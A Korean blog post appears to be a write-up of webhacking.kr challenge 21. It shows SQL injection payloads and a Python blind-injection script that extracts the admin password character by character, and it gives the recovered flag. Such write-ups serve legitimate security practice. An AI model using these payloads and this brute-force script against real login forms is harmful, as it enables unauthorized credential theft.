본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 21번

21번 index화면

 

id: guest

pw: guest

입력했을 때

login success라고 뜬다

 

id: guest' or '1'='1

pw: guest

SQL injection이 먹힌다

 

id: guest

pw: gues

 

거짓일 때

login fail

 

id: guest

pw: gues' or '1'='1

SQL 쿼리문이 참(?)일때

wrong password

 

id: admin

pw: ' or '1'='1

admin 계정이 있는 것을 확인

 

id: admin

pw: ' or length(pw)=36--%20

admin의 pw 길이가 36자리인 것을 확인

 

id: admin

pw: ' or substr(pw,1,1)='t

admin의 pw 첫자리가 t인 것을 확인

 

파이썬 코드 작성

import requests

url="https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="

cookie={"PHPSESSID":"2jqi1ilotud0d3bq8sendn2tph"}

session=requests.Session()

password=""

for i in range(1,37):
    for j in range(48, 127):
        payload=session.get(url+"' or substr(pw,"+str(i)+",1)='"+chr(j)+",cookies=cookie)
        if("wrong password" in payload.text):
            print(chr(j)+"is correct!!!!!!!")
            password += chr(j)
            break
        print(chr(j)+"is incorrect")
print(password)

코드 실행 결과

첫 번째에 왜 T인데 G가 나오는지 모르겠는데 T임

 

admin의 pw는

THERE_IS_NO_REST_FOR_THE_WHITE_ANGEL

 

wrong password가 나오는데

mysql은 대소문자 구분을 하지 않기 때문에 소문자로 입력하면 됨

 

 

클리어

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 51번  (0) 2019.11.06
Webhacking.kr 10번  (0) 2019.11.05
Webhacking.kr 33번  (0) 2019.10.26
Webhacking.kr 42번  (0) 2019.10.21
Webhacking.kr 20번  (0) 2019.10.21